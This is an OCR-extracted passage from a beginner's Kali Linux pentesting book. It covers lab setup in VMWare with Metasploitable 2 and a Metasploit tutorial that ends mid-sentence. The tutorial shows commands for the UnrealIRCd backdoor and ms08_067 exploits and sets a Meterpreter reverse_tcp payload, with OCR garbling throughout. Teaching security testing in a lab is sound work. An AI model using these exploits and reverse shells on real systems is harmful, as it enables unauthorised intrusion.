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Chapter 1 - Introduction

What isKali?

Kali is the latest and greatest version of the ever popular Backtrack Linux penetration testing
distribution. The creators of the Backtrack series kept Kali in a format very similar to Backtrack, so
anyone familiar with the older Backtrack platformwill feel right at home.

Kali has been re-vamped from the ground up to be the best and most feature rich Ethical Hacking/
Pentesting distribution available. Kali also runs on more hardware devices greatly increasing your
options for computer security penetration testing or fipentesti ngo systens.

If you are coming to Kali from a Backtrack background, after a short familiarization period you
should find that everythingis very similar and your comfort level should grow very quickly.

If you are new to Kali, once you get used to it, you will find an easy to use security testing platform
that i ncludes hundreds of useful and powerful tools to test and help secure your network systems.

Why Use Kali?

Kali includes over 300 security testing tools. A lot of the redundant tools from Backtrack have been
removed and the tool interface streamlined. You can now get to the most used tools quickly as they
appear in atop ten security tool menu. You can also find these same tools and a plethora of others all
neatly categorized in the menu system.

Kali allows you to use similar tools and techniques that a hacker would use to test the security of your
network so you can find and correct these issues before areal hacker finds them.

Tech Note:

Hackers usually perform a combination of steps when attacking
a network. These steps are summarized bel ow:

e Recon 1 Checking out the target using multiple sources i
like intelligence gathering.

e Scanning i Mapping out and investigating your network.

e Exploitation i Attacking holes found during the scanning
process.

e Elevation of Privileges 1 Elevating a lower access
account to Root, or System Level.

e Maintaining Access i Using techniques like backdoors to
keep access to your network.

e Covering their Tracks 1 Erasing logs, and manipulating
filesto hide the intrusion.

An Ethical Hacker or Penetration Tester (good guys hired to
find the holes before an attacker does) mimics many of these




techniques, using parameters and guidelines set up with
corporate management, to find security issues.

They then report their findings to management and assist in
correcting the i ssues.

We will not be covering every step in the process, but will
show you many of the techniques that are used, and how to
defend against them.

| would think the biggest drive to use Kali over commercia security solutions is the price. Security
testing tools can be extremely costly, Kali is free! Secondly, Kali includes open source versions of
numerous commercial security products, so you could conceivably replace costly programs by simply
using Kali.

All though Kali does includes several free versions of popular software programs that can be
upgraded to the full featured paid versions and used directly through Kali.

There really are no mgjor tool usage differences between Backtrack and Kali. Kali is basically
Backtrack version 6, or the latest version of Backtrack. But it has been completely retooled from the
ground up, making software updates and additions much easier.

In Backtrack updating some programs seemed to break others, in Kali, you update everything using the
Kali update command which keeps systemintegrity much better.

Simply update Kali and it will pull down the latest versions of the included tools for you. Just a note
of caution, updating tools individually could break Kali, so running the Kali update is always the best
way to get the latest packages for the OS.

| must admit though, some tools that | liked in the original Backtrack are missing in Kali. It is not too
big of a deal as another tool in Kali most likely does the same or similar thing. And then again you
caninstall other programs you like if needed.

In addition to stand alone and virtual machine instances of Kali, | also use Kali on a Raspberry Pi - a
mini credit card sized ARM based computer. With Kali, you can do almost everything on a Pi that you
could do on a full sized system. In my book | will cover using the Pl as a security testing platform
including testing Wirel ess networks.

Testing networks with a computer you could fit in your pocket, how cool is that?

Though Kali can@ possibly contain all the possible security tools that every individual would prefer,
it contains enough that Kali could be used from beginning to end. DonG forget that Kali is not just a
security tool, but a full-fledged Linux Operating System. So if your favorite tool runs under Linux, but
Is not included, most likely you caninstall and runitin Kali.

Ethical Hacking I ssues



Using Ethical Hacking a security tester basically acts like a hacker. He uses tool s and techniques that
a hacker would most likely use to test a target networké security. The difference is, the penetration
tester is hired by the company to test its security and when done reveals to the |eadership team how
they got in and what they can do to plug the holes.

The biggest issue | see in using these techniques is ethics and law. Some security testing techniques
that you can performwith Kali and its included tools are actually illegal to do insome areas. So itis
important that users check their local, State and Federal laws before using Kali.

Also, you may have some users that try to use Kali, a very powerful set of tools, on a network that
they do not have permission to do so. Or they will try to use a technique they |earned but may have not
mastered on a producti on network.

All of these are potential legal and ethical issues.

Scope of this Book

This book focuses on those with beginning to intermedi ate experience with Backtrack/ Kali. | think it
would also be a good tool for network administrators and non-security IT professionals that are
looking to get into the field.

We will cover everything from a basic overview of Kali to using the included tools to test security on
Windows and Linux based systems. We will cover Social Engineering, Wi-Fi security, using Kali on
a Raspberry Pi, exploiting passwords, basic computer security testing from reconnai ssance to finding
& using exploits, and finally securing your systens.

Why did | write this book?

| have written technical articles on Backtrack for several years now, and have helped out with
multiple Backtrack/ Kali books and training series. | get a lot of questions on how to use Kali/
Backtrack, so | decided that it was time to write my own beginners guide book.

My other reason for writing this book is to help get young people interested in the field of computer
security. The USis currently facing a crisis when it comes to young professional s choosing technical
careers and the cyber security field is no different.

The US government is in need of thousands' of cyber warriors and some industry experts have even
suggested that the US consider hiring security experts? from other countries to fill inthe gap.

Think about that for a minute.

The numbers game is against us also. The US is the number two user of the internet, with 81% of our
popul ation connected. Now consider the fact that Chinaiis in the number one spot® with almost double
the amount of users. And their connected rate is only at about 41%!

Though many think that the US is ranked number one in cyber offense capabilities, our defense is not
ranked that well. With foreign countries making marked advances in cyber security the US needs to
get as many brilliant young people into the field as possible, and they need to do it sooner rather than
| ater.



Disclaimer
Never try to gain access to or security test a network or computer that you do not have written
permission to do so. Doing so could leave you facing legal prosecution and you could end up injail.

The informationinthis book is for educational purposes only.

There are many issues and technologies that you would run into in a live environment that are not
covered. This book only demonstrates some of the most basic tool usage in Kali and should not be
considered as an all-inclusive manual to Ethical hacking or pentesting.

| did not create any of the toolsin Kali nor am| arepresentative of Kali Linux or Offensive Security.

Any errors, mistakes, or tutorial goofs in this book are solely mine and should not reflect on the tool
creators, please let me know where | screwed up so it can be corrected.

Though not mentioned by name, thank you to the Kali developers for creating a spectacular product
and thanks to the individual tool creators, you are all doing an amazing job and are helping secure
systems worldwide!

References
1. http/Awww.csmonitor.com/USA/Military/2011/0509/What-U S-cybersecurity-needs-a-few-more-good-guys

2.  http//www.theguardian.com/technology/2012/jul/10/us-master-hackers-al-gaida

3. hitp//en.wikipedia.org/wiki/List of countries by number of Internet users




Part 1: Installing and Basic Overview




Chapter 2 - Installing Kali with VM War e Player
Resources

0 VMWare - http://www.vimware.cony

Kali Install Directions - http://docs.kali.org/category/installation

Kali Downloads - http://www.kali.org/downl oads/

Kali Repositories - http://docs.kali.org/general -use/kali-1i nux-sources-list-repositories
Metaspl oitable 2 - http://sourceforge.net/proj ects/metaspl oi tabl e/fil es/ M etaspl oi tabl €2/
Microsoft Eval uation Software - http://technet.mi crosoft.conyen-us/eval center
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|ntroduction
In this section we will setup Kali Linux, Windows 7 and Metasploitable 2 as Virtual Machines
(VMs) using VMWare Player on a host compuiter.

Setting up our testing lab using virtual machines makes it very easy to learn offensive computer
security testing using Kali.

Virtual machines make it possible to run several operating systems on a single computer. That way
we do not need a room full of computers to set up atesting and |earning environment. e only need
one machine powerful enough to run several Virtual Machine sessions at once.

For the book | used a Windows 7 Core I-5 system with 8 GB of RAM. It had plenty of power to run
al three of our lab operating systems at the same time with no problemat all.

If you have experience with Virtual Systems, you can use any Virtual Machi ne software that you wart.
But for this tutorial | will be using VMWare Player as the host software, and then install Kali,
Metaspl oitable 2 and Windows 7 in separate VMSs running under the host.

When done, you should have a small test network that |ooks something like this:
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Because we will be dealing with vulnerable operating systems, make sure that you have a Firewall
Router (Preferably hardware) between the Host system and the live internet.

Install VM Ware Player & Kali
Installing Kali on VMWare is extremely simple as Offensive Security provides a Kali WMWare
image that you can download, so we will not spend alot of time onthis.

Download and install VMWare Player for your version of OS.
1. Download and install VMWare Player (https://my.vimware.com/web/vimware/downl oads)

Welcome to the installation wizard for VMware
Player

The installation wizard will install VMware Player on your
computer, To continue, dick Mext.

WARNIMG: This program is pratected by copyright law and
international treaties.

vmware
Player

| Mext = | | Cancel |

2. Agree to the license agreement and choose where you warnt it to install it, the default is
normally fine.

3. Click, AiFinisho when done.



4. Download the Kali VMWare Image (http://www.kali.org/downloads/) and save it in a
| ocation where you want it to run from.

L . . T A
= Eall Linux U Viviware Image

Kali Linux 1.0 VYWware Image {i386-pae) Image or Torrent

CLIA4 S [ 20 a4 a3 RFIN T~ R A a9 B4 Al Ad BAd 2 R Ao
SHATSUM: 32a1e382bf202c336bbdf0a2as1e00di54 ]

et bl b

(Note: It is always a good idea to verify the SHA1ISUM with the downloaded image to verify

you have a legitimate copy of the image. There are numerous MD5/ SHAL freeware programs
available.)

9. Un-GZip and Un-Tar the downloaded image (7-Zip works great).

14% Extracting ChlUsers\Dan\Downl ... B6-gnome-vm.tar.gz I. = | [=] ﬁ
Elapsed time: 00:00:51 Total size: 3070 MB
Remaining time: 00:05:00 Speed: 8939 KB/s
Files: a Processed: 1231 MB
Compression ratio: 36 Compressed size: 446 MB

kealiiniee-1.04386-gnome-vm tar
F 3 '

6. Startthe VMWare Player.

7. Click, fiPlayero from the menu.
8. TheniiFileo
9. Next click, fiOpeno.

10. Surf to the extracted Kali .vmx file, select it, and click, AiOpeno.
11. It will now show up onthe VMWare Player home screen;

% VYiware Player [_Nc:n—mmmercial use only) - -
[ Player = l b - =

/g* Hormie

L’:E: kalidinux+386-gnome-vm

12. withthe Kali VM highlighted click, fiEdit Virtual Machine Settingso.
13. Here you can view and change any settings for the VM:



Dievice Summary

[ Processors 1
(Z\Hard Disk (SCSI) 30 GB

*J CD/DVD (IDE) Auto detect
I@Net‘.wurk Adapter NAT
1JSB Controller Present
‘6‘ | Sound Card Auto detect
I3__JIZJIi5|:|I.En,r Auto detect

14. Click, fiNetwork Adaptero:

Metwork connection

(71 Bridged: Connected directly to the physical network
Replicate physical network connection state

re SOdapiers

i@ MAT: Used to share the host's IP address
"I Host-only: A private network shared with the host
| Custom: Spedific virtual network

VYMnetd

(71 LAN segment:

It is set to NAT by default. This will be good enough for what we are doing. NAT means that each
Virtual machine will be created in a small NAT network shared amongst themselves and with the
host; they can also reach out to the internet if needed.

Each machine will be given a DHCP IP address, which means that the IP addresses might change on
the VMs when you reboot them.

(If you need to know Kali® or Metasploitable® IP address, just type i ifconfigo in a Terminal
window. On a Windows based VM, just type fiipconfigo at a command prompt.)

15. Click ficancel 0 to return to the VMWare Player main screen.

16. Now just click, fiPlay Virtual Machineo, to start Kali. You may get a message asking if the
VM was moved or copied, just click, fil copied ito.

17. When prompted to install VMWare tool, select to install them later.
18. When Kali boots up youwill come to the Login Screen:



19. Click on fiOthero, then login with the username, firootd and the password fitooro (root
backwards).

20. Youwill thenloginto Kali and be presented with the main Desktop:

Fri Dec 13, 3:41 FM

HRNNUR

Congratulations, you did it!

Updating Kali
We will cover getting around in Kali a little later, but first, we need to update Kali to the latest
version. The VM image is abit old, so there are alot of updates that could take a while to downl oad.



1. OpenaTermina Window:

Places ‘: [E]

—

Applications

2. Type, fiapt-get updated and hit fienter o:

~# J;t get Hijfr

.org hﬁ1l non - f|#r Trans 11T1uﬂ an

matién... Done
Done
J.ﬂ tnu F’EHII"E["

(Type, fiyo and enter when prompted that additional disk space will be needed.)
This cantake quite awhile, so this might be a good time for a break, you deserve it!

4. \When done, reboot.

There are additional source repositories that you can manually add to
Kali if you wart.

For example if you want the absol ute | atest and greatest, you can add the
fBleeding Edged repositories to Kali. But these do come with the
warning that they are not manually maintained and are low priority.

For more information see:
http://docs.kali.org/general -use/kali-1inux-sources-list-repositories

Thatés it; Kali should now be installed, updated and ready to go. We will take a closer look at the
desktop in the next section.

Installing VM Ware Toolsfor Linux
When Kali boots up, a WMWare pop-up should appear asking if you want to install the VMWare
tools into the operating system VM. This alows the OS to work better with VMWare, usually giving



you more control over video options and cut and paste capability with the host.
Y ou don& need to install them, but it usually makes things work a little bit smoother.
When you get the pop-up message below, click fiDownload and Install o

The following software is available for download:

WMware Tools for Linux - version 9.6. 1

1, Downloading and installing YMware Tools is

required to enable advanced features of
your virtual machine.

What would you like to do?

anwnInad and Install | [Remind Me Later |

T

The tools will then begin to downl oad:

@ Downloading YMware Tools for Linus...

Downloading. .. {25%)

‘ ’—Ii VMware Tools for Linux - version 9.6, 1

Allow thetools to install and then click, iAClosed when fini shed.

| nstalling M etasploitable 2

Metasploitable 2, the purposefully vulnerable Linux operating system that we will practice
exploiting, is also available as a Virtual Ware VM. As we did with the Kali VM above, all we need
to do isjust downl oad the Metasploitable 2 VM image, unzip it and open it with VMWare Player.

It6s that simple.

1. Download Metasploitable 2
(http://sourceforge.net/proj ects/metaspl oi tabl e/fil es/Metaspl oi tabl €2/) and place it in afolder
where you wart it saved.

2. UnziptheFile.
|| Metasploitable.nvram 572172012 1:45 AM MVRAM File 9 KB
% Metasploitablevrndk 5/21/2012 1:46 AM  VMware virtual dis... 1,900,864 KB
|| Metasploitable.vmsd 5/21/20121:46 AM VMSD File 1KE
EI Metasploitablevmzx 5/21/2012 1:46 AM Vihware virtual m... 3 KB
|| Metasploitablevmxf 5/21/20121:37 AM - VMKF File 1KE

3. Thenjust open Metasploitable 2 in VMWare by starting VMWare Player, click, fiPlayero,



fFiled, AOpeno, then surf to and sel ect the Metaspl oitable.vmx file and click, fAOpenao.
4. Itwill now show up inthe VMWare Player Menu:

'-1_@ Vidware Player (Non-commercial use only)

Player = | B - =

L]
Harne

—
|-_E_" Metasploitable 2-Linux

5. Now goto fiEdit Virtual Machine Settingso for Metaspl oitabl e and make sure the network
interface is set to ANATO:

Virtual Maching Settings

| | Hardware Options

Device 5 ry Device status
B vemory 512 M8 SN
E Pr " 1 o | Connect at power on

i Hard Disk (SCSI) 8GR

) CD/DVD (IDE) Auto detect Netbwork conmecton

L) Network Adapler  MAT Bridged: Connected directly o the physical network
¥ network Adapt... Host-only bl retkil e R
& USE Controller  Present

i Display Autn detect FER S

@ MAT: Used to share the host's [P address
_ Host-onhy: A private network shared with the host
Custom: Spedfic virtual network
Winet

LAN segrent:

Metasploitable 2 is now ready to use.

*** \Warning *** - Metasploitable is a purposefully vulnerable OS. Never run it directly open on
the internet. Make sure thereis afirewall installed between your host system and the Internet.

6. Go ahead and i Play 0 the Metaspl oitable system, click il copied ito if you are asked if you
moved or copied it.

Y ou should now see the Metaspl oitabl e Desktop:



ruer expose this UM to an untrusted network!?
ntact: msfdeviatlnetasploit.com

Login with mnsfadminsnsfadmin to get started

metasploitable login: _

7. Loginwith the credentials on the screen.

Login name: msfadmin
Password: msfadmin

8. Attheterminal prompt type, fiifconfigo to get the IP address of the Metaspl oitable machine;

msfadmi n@metaspl oitable:~$ ifconfig
ethO Link encap: Ethernet
inet addr:192.168.198.129

The IP address in this case is 192.168.198.129. Because we are using DHCP the IP addresses of the
virtual machines may change when we bring the systems down and then back up. So it is a good idea
to check and verify themif you start having communi cation problens.

We now have our Metaspl oitable and Kali systems up.

Windows Virtual M achines

Inthis book | also use a Windows 7 VM (and a Windows XPVM in afew examples). You used to be
able to download a (30-90 day) Windows 7 Enterprise Evaluation version directly from Microsoft,
but it looks like most of the links now point to their Windows 8.1 Enterprise Eval uation:

http://technet.mi crosoft.conven-us/eval center/hh699156

So if you want to follow along on the Windows 7 (or XP) sections you will need to install alicensed
copy of Windows 7 inVMWare Player.

| will not cover installing Windows 7 in VMWare Player, but basically al you need is your Windows
7 CD ad install Key, and do afull install from disk by clicking fiNew I nstallo and then pointing to
your CD Romdrive:



Mew Virtual Machine W’lza?d u

Welcome to the New Virtual Machine Wizard

A virtual machine is like a physical computer; it needs an operating
gystem. How will you install the guest operating system?

Inztall from:
@ Installer disc: |
[Fju; DVD RW Drive (D) v] |

B Insert the installer disc into this drive to continue.

Thenjust install Windows 7 as usual.
When done, you will have a Windows 7 Virtual Machine:

Windows 7

State: Suspended
05: Windows 7
Versin: Workstation 6.5-7.x virtual machine
RAM: 1 GB

P> Flay virtual machine

.‘_';ﬁ' Edit virtual machine settings

Check the network settings onit to make sure that it too is using NAT for networking:

Hardware !GDWH-
Device Summary e
. Memory 1GB e
[ Processars 1 R WA o
s Hard Disk (SCSI) 40 GB
% CD/DVD (IDE) it bty Network connection
EHD'PF"!' Ao detect Bridged: Connected directly o the physical network
Replicate physical network conmecton state
Eust Controller  Present T T
¥ sound card Auto detect i e i
= Privter Present @) NAT: Used to share the host's [P address
!ﬁm? Autn detect Host-only: A private network shared with the host

stom: Spedfic virtual netwark

Play the virtual machine and run fiipconfigo from a Windows 7 Command Prompt to see what its IP
addressis:

Microsoft Windows [Version 6.1.7601]



Copyrignt (c) 2009 Microsoft Corporation. All rights reserved.
C:\Users\Fred>ipconfig

Windows IP Configuration
Ethernet adapter Local Area Connection:

IPv4 Address. . .........:192.168.198.130
And finally if you want, install the VMWare Tools for Windows when prompted:

Software Lipdates

H Downloading YMware Toals for Windows 2000 and later. .,

——

! ! YMware Toals for Windows 2000 and later - wersion 9.6.1

Thatés it, you should now have three virtual machines in a mini-network that you can use to practice
and learn basic offensive security pentesting techni ques.

Install Wrap Up
In this section we learned how to install VMWare Player as a virtual machine host. We then installed
Kali Linux, Metasploitable 2 and Windows 7 as separate virtual machines on the host.

We set them all up to use the same networking (NAT) so that they can communi cate to each other and
out to the internet if needed.

We will use this setup throughout the rest of the book.

Just as a reminder, with using VMWare® DHCP, IP addresses of the systems may change when we
reboot them. | used this partially because you will always be using different target 1P addresses when
in the real world. But if you get lost, you can run fifconfigo (Linux) or fiipconfigod (Windows) on the
VM to find the changed IP address.

And finally, never run Metasploitable directly onthe internet as it is purposefully vulnerable.
Quick Desktop Tour
Let 0s take a moment and take a short tour of the Kali menu and interface.

One of the biggest things you will notice when installing is that Kali is based off of Debian Linux,
instead of Ubuntu, which earlier versions were based on. If you were used to Backtrack, the desktop
still uses Gnome, but it does seem to have a different look and feel to it.

Top Menu Bar

We will start our tour with the top menu bar.
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The top menu has the Applications menu which is the main gateway to access al the included
programs in Kali, thePlaces menu which allows you to navigate around the file system. The
|ceweasel web browser is next, and a shortcut to the Terminal prompt follows.

In the middle is the date and time, followed by a volume control icon on the right side, a Network
icon, where you can view and edit your network connections and finally your user menu where you
can access system settings, switch users or log out.

Applications M enu

The Applications menuis the main menu in Kali.

Applications Places f

i ACCESSOries »
#lj Electronics ¥
28 Graphics »
w Internet »
i. Kali Linux »
ml:.l Office ¥
{ Programming »
Hl?’] Sound & Video »
System Tools ¥

Under this menu you find the fol lowing main menus:

Accessories menu includes the normal tools you would expect to find in an operating system.
Electronics tab contains a programming utility for the Arduino board.

Kali Linux isthe main menu to access the security programs.

e System Tools contain system administrator tools and preferences.

The rest are pretty self-explanatory.
Kali Linux M enu

Of most importance to us, the Kali Linux menu option is where you will find most of the security
tools.
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i J"I'-\.L—.".-'_"_'l 25 >

%l:l Electronics 3

,"-: Graphics >

a8 Hamradio 3
& Internet H
Kali Linux 2 Top 10 Security Tools : aircrack-ng
P Y ]
bice] ®
Office 3 \ burpsuite
O\ Information Gathering » 3
- g
>
% Programming * \ hydra
h Vulnerability Analysis ¥ '
B sound . s
B Scund & Video = \ ohn
: Web Applications }
oly VWeb Applic .
System Tools ¥ \ maltego
Password Attacks } :
. f v C L8 b
{;} Universal Access T | Attack . \ metasploit framewaork
. g Wireless Attacks
- LJ ! s
=2 Cither ¥ E ST R s ST . \ nmag
Explotatio I
{ Sniffing/Spoofing 3
i ] W
\ sqlmap
E Maintaining Access 3
wireshark
% Reverse Engineering > .i' '

e >tress Testing

L Hardware Hacking
}» Forensics

:'..'Ll..l"T-l-ll.] Tools

.
Ul System Services

A quick peek at the menu shows that a Top Ten Security Tools menu has been added to Kali so you

can get into your favorite tool s faster.

Aircrack-ng, Burpsuite, Metasploit, Nmap, Wireshark and several other top programs are now right

at your fingertips.

If you are familiar with the original Backtrack don@ worry, all the regular tools are still present in a

menu system very similar to the one Backtrack used.

To navigate the menu, just find the topic you want, for example, | nformation Gathering and follow

the menu across until you find the utility you want:



Information Gathering

rh Vulnerability Analysis
=

2 'Ck IDS/IPS Identification

al Web Applications 2 Oc. Live Host |dentification »
/" Password Attacks » Q. Network Scanners »
g Wireless Attacks 3 Q., 05 Fingerprinting »

&} Exploitation Tools » 0\ OS5INT Analysis 2

(& >niffing/Spoofing 5

F e = : S

u Maintaining Access Service Fingerprinting LS

% Reverse Enginearing 3 C\ SMB Analysis » dnmap-server

sl ATE Aral

& Stress Testing ? 'C'\ SMTPFP Analysis » implementationt
L Hardware Hacl ing L O\ SMMP Analysis * implementationtd

N
N
™ Forensics » QO S5L Analysis s .\\ n
| Reparting Tools » QO Telephony Analysis » ‘R nmap
T system Services > Q Traffic Analysis » K E
N
S
N

m Q, valp Analysis

Q; VPN -".l'._:l,'_.-, g

Following down the main menu branch you will see that the tools are sorted by type. Web
Application testing programs can be found in the Web Applications menu option, all Password
rel ated security programs are under the Password Attacks menu and so on.

Conclusion

If you want, it would be a good idea to take a few minutes and surf the menu system until you are
familiar withits layolt.

Many, if not most of the programs can be run directly from the command prompt, and there are
additional programs included in Kali that are not in the menu system. We will cover severa of the
utilities that come with Kali. We will also cover a few that have not been added in yet, but are very
good tools for any security tester.

Part 2 - Metasploit Tutorial




Chapter 31 Introduction to M etasploit

Resources
Metaspl oit Information

O http://www.offensive-security.conymetaspl oit-unl eashed/Main_Page

O http://www.offensi ve-security.convmetaspl oi t-unl eashed/Msfconsole_ Commands
Security Bulletin Sites
O hitp://cve.mitre.org/

4

O http://technet.mi crosoft.conven-us/security/bull etin

I ntroduction
For the security testing community, Metasploit (and Metasploit Pro) is one of the coolest things since
sliced bread. Metasploit gives you a compl ete framework, or playground for security testing.

Easy phishing: Set up email templates, landing pages and listeners
in Metasploit Pro's wizard -- type 'go pro' to launch it now.

=

+ == =-=-=[ 1169 exploits - 643 auxiliary - 1B6 post
+ -- --=[ 312 payloads - 30 encoders - 8 nops

m=sf =

The Metasploit Framework is a comprehensive platform for performing vulnerability testing, and
exploitation. It is |oaded with over athousand exploits, hundreds of payl oads and multiple encoders.

We will cover the basics of using Metasploit in this chapter, and then in a later chapter see how to
use Metasploit against a test target. If you are already familiar with using Metasploit then feel free to
skip this chapter or use it as arefresher.

Updates
Normally to update Metaspl oit, you simply run fimfsupdateo, but according to the Rapid 7 website,
Metaspl oit updates are synced to update weekly with Kali.

(https://community.rapid7.com/thread/3007)



M etasploit Overview
Y ou can start Metasploit a coupl e of different ways, from the menu or fromaterminal prompt.

O /Kali Linux/Top Ten Security Tools/Metaspl oit framework
O /Kali Linux/Exploitation Tools/Metasploit
O Or just fimfsconsoledin aterminal
Once Metasploit oads you will see the foll owing main screen and be given an fimsf >0 promgt.

., sort, group, tag and search your hosts and services
ype 'go_pro' to launch it now.

728 auxiliary - 201 post
- 3 rencoders—+ Snops

-

Metasploit can be a little confusing if you have never used it before, but once you get used to how it
works, you can do some amazing things withiit.

Basically, using Metasploit to attack a target system usually involves:
1. Picking an Exploit
2. Setting Exploit Options
3. Picking a Payload
4. Setting Payload Options
5. Running the Exploit

6. Connecting to the Remote System

7. Performing Post Expl oitation Processes

The screenshot below shows an exampl e of this process, but dond worry; we will cover the process
In much more detail as we go along.



Depending on the type of exploit, once our exploit is complete we will normally end up with either a
remote shell to the computer or a Meterpreter shell.

A remote shell is basically a remote terminal connection or a text version of a remote desktop for
Windows users. It allows us to enter commands as if we are sitting at the keyboard.

But a Meterpreter shell offers a ton of interesting programs and utilities that we can run to gather
informeation about the target machine, control devices like the webcam and microphone, or even use
thi s foothol d to get further access into the network.

And of course, if needed, you can drop to aregular shell at any time.

In most cases, depending on what you are trying to do, a Meterpreter Shell is much more
advantageous than just a regular shell.

We will discuss the Meterpreter Shell later, but for now |etGs quickly cover the first five steps.

Tech Note;

When all else fails and you start to feel lost in
Metasploit, or the Meterpreter shell, try typing
the fihel po command.

Y ou can al so use the fitabo key to autocompl ete a
line or hit it twice to show all available exploits
and payl oads.

Ex. show exploits <tab><tab>

Picking an Exploit
If you are a glutton for punishment and want to view all the exploits, just type fishow exploitso from
the msf prompt:

msf > show exploits

But it is easier to use the search command to find what you are looking for. Simply type fisearcho and
then the i nformati on you warnt. Someti mes being very specific will help you find the exploit you want
quicker.

If you see an error that says, fif!] Database not
connected or cache not built, using slow



searcho all you need to do is start the PostSQL
Database before running msfconsole (though
your search will work without it running, it will
just be slower).

To start the Database at aterminal prompt, type
the following:

O service postgresgl start
O service metasploit start
O msfconsole

Metasploit allows you to search for exploits in multiple ways, by platform, or even CVE (Common
Vulnerabilities and Exposures) and bugtrack numbers.

Type fihelp searchoto see all of the options:

Modules that are client or server attacks
Modul as
Modul a matchi ugtrag ID
3 1D
1t

Modul e ! :
Modules of a specific type (exploit, ¢

009 type:exploit app:client

To search by name, just type search and the text you want. So for example to see if Metasploit has an
exploit for Microsoftés Security Bulletin MS13-069 vul nerability:

Disclosure Date Rank

BR:08 UTC normal MS513-869 Mi




To see all the CVE IDGs fromthis year (truncated list):

Name Disclosure Date

Rank

Or to see exploit information for a particular programjust use its name:
msf > search unreal

When you see an expl oit that you want to know more about, just copy and paste the full path name and
use the info command:

msf > info exploit/unix/irc/unreal ircd 3281 backdoor

Thiswill display the full information screen for the exploit:

Available targets:
Id Name

Automatic Target

asic options:

Current Setting Required

lve between No r 2008 and June 12th

The information screen shows the author & name, a brief overview (not shown) along with the basic
options that can be set, a description and website security bulletin references for the exploit (shown).



As you can see in the picture above, we can set a couple options for this exploit, which leads us into
our next section.

But before we set our exploit options, we need to fuseo it. Once we know we have the exploit we
want, we simply run the fiused command with the exploit name. Again copying and pasting the exploit
path and name works very well here too:

msf> use exploit/unix/irc/unreal ircd 3281 backdoor

msf exploit( I |

Okay, we are now using our exploit, so how do we set the options?

Setting Exploit Options
Setting options in Metasploit is as simple as using the fisetd command followed by the variable name
to set and then the val ue.

set <Variable Name> <Value>

Tech Note;

LHOST = Local Host, or our
Kali System

RHOST = Remote Host, or
our target System

LPORT = Port we want to
use onour Kali System
RPORT = Port we want to
attack on our target System

To set what variables can be set, use the fishow optionso command:

Module options (exploit/unix/irc/unreal ircd_328Bl1 backdoaor):

Exploit target:

Id Mame

Automatic Target

This exploit only uses two main variables, RHOST and RPORT. Rhost is the remote host that we are
attacking and Rport is the remote port.



Leté go ahead and set the RHOST variable using the set command. If the target systemé IP address
was 192.168.0.20 then we woul d use the set command bel ow:

) > set RHOST 192.168.0.20

Name Current Setting Required

Thisisall youreally need is set in this exploit. You could now run the fiexploito command to execute
it.

If you are feeling a bit lost, don@ panic, we will cover this in more detail in the Metasploitable
chapter.

Multiple Target Types
The Unreal backdoor was a fairly easy exploit to use. Some exploits have multiple variables that you
need to set and they might even have some optional variables that can a so be configured.

As you use Metasploit, you will find that some have multiple target types that can be attacked, and
that the exact target needs to be set for the exploit to work properly. To see the target, enter ishow
targetso.

Onthe exploit we used above, the target is automatic, so we don& need to set it.

sf exploit(

Exploit targ

Id MName

] Automatic Tarﬂﬂt

But on others, there are numerous targets and we need to pick the right one.

Getting a remote shell on a Windows XP M achine
We took a brief ook at one of the Linux exploits, |etés go ahead and run through the ms08-067 expl oit
asitisone of the more popular Windows exploits.

1. To start, simply use the exploit:
msf > use expl oit/windows/smb/ms08_067_netapi

2. Now type, fishow optionso:



msf exploit( ) > show options

Module options (exploit/windows/smb/msG8 067 netapi) :

Name Curre S Required Description

RHOST yes e target address
RPORT 45 =k oet the SMEB service
SMBPIPE BROWSER yes e plpe name to use

Exploit target:
Id Name

¢] Automatic Targeting

Notice that by default the target is set to fAutomatic Targetingo. | have had mixed results with using
automati ¢ targeting, and someti mes things work better if you set the exact target.

3. If wewant to set a specific target type, fishow targetso:

msf exploit( ) = show targets
Exploit targets:
Mame

Automatic Targeting

English
! Englis

[ T 0 I T N R

~

> set target 2

5. And again afishow optionso will reveal that we indeed have the target val ue set:



Exploit target:

Id Name

2 Windows XP 5PO/5P1 Universal

Lastly, though not often used inregular exploits, we can also set advanced options if we want.
To show the advanced options, just type fishow advancedo:

msf exploit(

y local client addrass

port

to astablieh & TCP connection

: The information file that contains context information

Now we have seen how to select an exploit and how to set the options. On many exploits we also
need to set a payl oad.

Picking a Payload
What(s the fun of exploiting a machine if you can& do anything with it? Payl oads allow you to do
something functional with the expl oited system.

Metaspl oit comes with a multitude of different payl oads that you can use. To see them, just type
fishow payl oadso:

Disclosure Date Rank

normal

normal Generi
normal Generi
normal Generi
no

eqtfbind, ipva tcp no
indg o

edt bind nanstep no




Or you can type fiset payloado and hit the tab key twice. Thiswill prompt Metasploit to ask you if you
want to see all the available payl oads:

Most of the payloads are laid out in the format of @Operating System/Shell Typedas shown below:

O set payload/osx/x86/shell_reverse tcp
O set payload/linux/x64/shell_reverse tcp

W

O set payload/windows/shell reverse tcp

O set payl oad/windows/meterpreter/reverse tcp
Simply select the correct OS for your target and then pick the payl oad you wart.

The most popul ar types of payloads are shells, either aregular remote shell or a Meterpreter shell.

If we just want a remote terminal shell to remotely run commands, use the standard shell. If you want
the capability to manipulate the session and run extended commands then you will want the
Meterpreter shell (whichwe will discussinfurther detail inthe next chapter).

There are different types of ways that the payloads communicate back to the attacking system. |
usually prefer reverse _tcp shells as once they are executed on the target system, they tell the attacking
machi ne to connect back out to our Kali system.

The big advantage to this is that with the victim machine technically fiinitiatingd the connection out, it
usually is not blocked by the Firewall, as a connection trying to come in from the outside most likely
will.

Once we know what payl oad we want to use, we set it using the fisetd command.

6. So for our example letGs use a Meterpreter shell for a Windows system and have it connect
back to us via TCP:

msf exploit( ] = set payload windows/meterpreter/reverse tcp

payload => windows/meterpreter/reverse tcf

Now that our payload is set, we just need to set the options for it.

Setting Payload Options
Payloads have options that are set in the exact same way that the exploit is set. Usually payload
settings include the IP address and port for the exploit to connect out to.

And these too are set with the fisetd command.
7. Type fishow optionso to see what settings the payl oad needs:



options (exploit/windows,

Wame

RHOST

RPORT 445
SMBPIPE BROWSER

windows/meterpretar/reversa_tcp):
Current Setting Reguired Description
EXITFUNC thread

LHOST 192.168.0.10

LPORT 4444

As you can see in the image above, a new section titled fiPayl oad opti onsd shows up when we run the
command. We al so have three new options that we can set, iEXITFUNC, LHOST, and LPORTO.

We will leave the EXITFUNC and LPORT settings to the default.
8. But we need to put in the LHOST or local host address. This is the IP address for our Kali

) = set LHOST 192.168.0.10

Once our payl oad options are set, we can go ahead and run the exploit.

Running the Exploit
When starting out, it is always a good idea to run the fishow optionsd command one last time and
